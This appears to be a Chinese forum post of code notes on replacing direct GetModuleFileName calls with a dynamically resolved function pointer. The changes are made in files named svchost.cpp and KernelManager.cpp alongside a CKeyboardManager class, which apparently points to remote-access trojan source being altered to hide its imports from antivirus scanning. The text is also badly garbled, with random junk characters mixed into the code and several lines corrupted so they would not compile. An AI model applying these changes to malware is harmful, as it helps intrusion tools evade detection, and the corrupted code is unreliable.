[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
/ L2 ~6 F8 R2 W( Q; W; rsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h. q; B# j( Y+ ?- q4 ^
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DTDY.h：; `+ Q! Z* ^5 x1 S6 t7 c; \
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#if _MSC_VER>1000. h5 k" V/ l  t# j$ n1 {$ M2 }
#pragma once$ a0 y! Q) R+ t9 h1 J
#endif //_MSC_VER>1000
& s; K; R2 w/ {#include<windows.h>
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! K/ ^2 T4 I& S9 qtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
  q/ y! ?. ~9 [6 Fclass DTDY
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public:4 o; R  a3 S  A' J$ G/ N1 }
DTDY();
& l# w& e' z; M  k8 U4 ~  \virtual ~DTDY();, w: \2 n! ~6 W
public:
( P- k9 A( u7 g$ Q0 ystatic pGetModuleFileNameA MyGetModuleFileName;! N' h: y) y' K9 F( i
static BOOL FunInitiallization();6 W% I$ x7 r! m4 D  d
};
9 d4 n: B6 S/ Q- ?8 L#endif* Y" Y' L, L% P/ Z  F4 t1 ]" B( l
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DTDY.cpp:
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#include "DTDY.h"
  Y( h8 K8 L) s" FpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
0 u. T9 d+ }3 IDTDY:TDY()& d9 ^8 D9 p1 ~6 D3 ?/ u0 B0 l
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}
+ ]  y# g0 z. zDTDY::~DTDY()
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BOOL DTDY::FunInitiallization()
- ]1 b& p6 L$ W+ d, B, y  f& X{
$ m  g& V  x4 t0 p1 OHMODULE hModule=LoadLibrary("kernel32.dll");
, @6 v/ o  k0 yMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
3 U/ I3 g* V1 Z$ t9 t7 S& Zif(!MyGetModuleFileName=) return FALSE;
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return TRUE;' D4 t- R  A0 ?3 B# E- b
}
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svchost.cpp:
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#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
% ]2 Z- x8 l9 E- @: I{
- V8 p- q7 p2 Dcase DLL_PROCESS_ATTACH:) ]# H: ^( h; u8 ?
if(!DTDY::FunInitiallization()) return FALSE;
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- I5 O1 H9 J' d! B4 f& Nbreak;
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}
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0 [$ ], G4 G3 }8 n! @' pGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
# ]% W- C8 C1 i. u$ s% v改写为
* H: X  \* l* y" x0 SDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));$ S- v0 j: t' G3 S; N1 }& S
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) L& f( l* \! o7 Z! y8 O1 CKernelManager.cpp:
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9 ]5 F! O% F9 S" `8 h#include "../DTDY.h"
9 Z" r; Q6 @7 {8 a3 s( VGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
4 b: i. e2 E3 z% g改写为
( ]' q6 n8 R0 V; HDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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